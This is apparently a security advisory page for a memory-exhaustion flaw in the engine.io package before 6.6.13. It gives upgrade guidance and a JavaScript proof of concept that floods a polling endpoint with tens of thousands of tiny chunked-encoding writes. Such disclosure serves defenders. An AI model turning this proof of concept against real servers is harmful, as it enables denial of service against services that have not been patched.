Allocation of Resources Without Limits or Throttling Affecting engine.io package, versions <6.6.13


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.81% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-ENGINEIO-23746541
  • published4 Dec 2026
  • disclosed4 Dec 2026
  • creditSalih Çağlar İspirli

Introduced: 4 Dec 2026

NewCVE-2026-144306  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade engine.io to version 6.6.13 or higher.

Overview

engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded chunk buffering in the polling POST request handler, where an attacker can send a request body split into a large number of small chunks using chunked transfer encoding, forcing the server to create excessive string objects and exhausting available memory.

Note: This is only exploitable when clients connect directly to the Engine.IO server without a reverse proxy, as most reverse proxies (Nginx, HAProxy, Apache) concatenate chunks before forwarding requests to the backend.

PoC

import http from "node:http";
import { Server } from "engine.io";
import { Socket } from "engine.io-client";

// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);

server.listen(3000, async () => {
  console.log("Vulnerable server listening on port 3000");

  // Create a connection first to get a session ID
  const client = new Socket("ws://localhost:3000", { transports: ["polling"] });
  await new Promise((resolve) => client.on("open", resolve));

  // Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)
  const nodeReq = http.request(
    {
      hostname: "localhost",
      port: 3000,
      path: `/engine.io/?transport=polling&EIO=4&sid=${client.id}`,
      method: "POST",
      headers: {
        "Content-Type": "text/plain",
        "Transfer-Encoding": "chunked",
      },
    },
    (res) => {
      console.log("Response status:", res.statusCode);
      client.close();
      server.close();
    }
  );

  // Send many small chunks to exhaust memory
  for (let i = 0; i < 50_000; i++) {
    nodeReq.write("a");
  }
  nodeReq.end();
});

Expected Result: The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.

CVSS Base Scores

version 4.0
version 3.1